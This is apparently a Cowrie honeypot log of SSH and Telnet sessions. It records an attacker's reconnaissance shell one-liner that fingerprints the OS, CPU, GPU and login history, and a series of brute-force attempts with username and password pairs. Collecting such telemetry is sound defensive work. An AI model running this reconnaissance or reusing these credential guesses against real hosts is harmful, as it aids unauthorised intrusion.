{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.858647Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.861959Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.864536Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.867447Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.871266Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.874012Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.876491Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.879571Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.882898Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.886003Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:20.974994Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:21.060727Z","src_ip":"91.92.40.176","session":"52f9d70448e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":43366,"dst_ip":"159.203.135.109","dst_port":23,"session":"856e384a4e7e","protocol":"telnet","message":"New connection: 137.184.5.188:43366 (159.203.135.109:23) [session: 856e384a4e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:33.181242Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":43628,"dst_ip":"159.203.135.109","dst_port":23,"session":"e376bc9df7a6","protocol":"telnet","message":"New connection: 137.184.5.188:43628 (159.203.135.109:23) [session: e376bc9df7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:34.213004Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52718,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0bde94af7a9","protocol":"telnet","message":"New connection: 170.64.224.25:52718 (159.203.135.109:23) [session: f0bde94af7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:19:35.452516Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":32938,"dst_ip":"159.203.135.109","dst_port":22,"session":"c657e781636f","protocol":"ssh","message":"New connection: 198.12.251.137:32938 (159.203.135.109:22) [session: c657e781636f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:10.792216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:10.797660Z","src_ip":"198.12.251.137","session":"c657e781636f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:10.867368Z","src_ip":"198.12.251.137","session":"c657e781636f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@#$%","message":"login attempt [root/pass@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:11.079540Z","src_ip":"198.12.251.137","session":"c657e781636f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:12.152280Z","src_ip":"198.12.251.137","session":"c657e781636f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.60563087463379,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:26.058012Z","src_ip":"170.64.224.25","session":"f0bde94af7a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":45902,"dst_ip":"10.17.0.5","dst_port":22,"session":"84668c926a7c","protocol":"ssh","message":"New connection: 23.88.42.180:45902 (10.17.0.5:22) [session: 84668c926a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:35.543356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:35.547514Z","src_ip":"23.88.42.180","session":"84668c926a7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:35.643933Z","src_ip":"23.88.42.180","session":"84668c926a7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"celsius2024","message":"login attempt [root/celsius2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:35.932964Z","src_ip":"23.88.42.180","session":"84668c926a7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:37.031584Z","src_ip":"23.88.42.180","session":"84668c926a7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.30075526237488,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:42.481805Z","src_ip":"137.184.5.188","session":"856e384a4e7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.70846819877625,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:20:47.921340Z","src_ip":"137.184.5.188","session":"e376bc9df7a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":33192,"dst_ip":"10.17.0.5","dst_port":22,"session":"f287d5beb4bd","protocol":"ssh","message":"New connection: 154.16.115.34:33192 (10.17.0.5:22) [session: f287d5beb4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:00.155252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:00.163017Z","src_ip":"154.16.115.34","session":"f287d5beb4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:00.188359Z","src_ip":"154.16.115.34","session":"f287d5beb4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"D@y$P@ssw0rd","message":"login attempt [root/D@y$P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:00.267914Z","src_ip":"154.16.115.34","session":"f287d5beb4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:01.295797Z","src_ip":"154.16.115.34","session":"f287d5beb4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":46456,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9c5260461db","protocol":"ssh","message":"New connection: 97.74.6.204:46456 (159.203.135.109:22) [session: f9c5260461db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:08.891248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:08.894777Z","src_ip":"97.74.6.204","session":"f9c5260461db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:08.960003Z","src_ip":"97.74.6.204","session":"f9c5260461db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"exodusio","password":"exodus123","message":"login attempt [exodusio/exodus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:09.157787Z","src_ip":"97.74.6.204","session":"f9c5260461db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:10.226931Z","src_ip":"97.74.6.204","session":"f9c5260461db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":50020,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3d04078927e","protocol":"ssh","message":"New connection: 91.92.40.176:50020 (10.17.0.5:22) [session: d3d04078927e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:38.560814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:38.564785Z","src_ip":"91.92.40.176","session":"d3d04078927e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:38.646204Z","src_ip":"91.92.40.176","session":"d3d04078927e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd","message":"login attempt [admin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:38.906370Z","src_ip":"91.92.40.176","session":"d3d04078927e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:21:39.989492Z","src_ip":"91.92.40.176","session":"d3d04078927e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":43234,"dst_ip":"159.203.135.109","dst_port":22,"session":"c869f2e82828","protocol":"ssh","message":"New connection: 194.59.206.2:43234 (159.203.135.109:22) [session: c869f2e82828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:22:00.854028Z"}
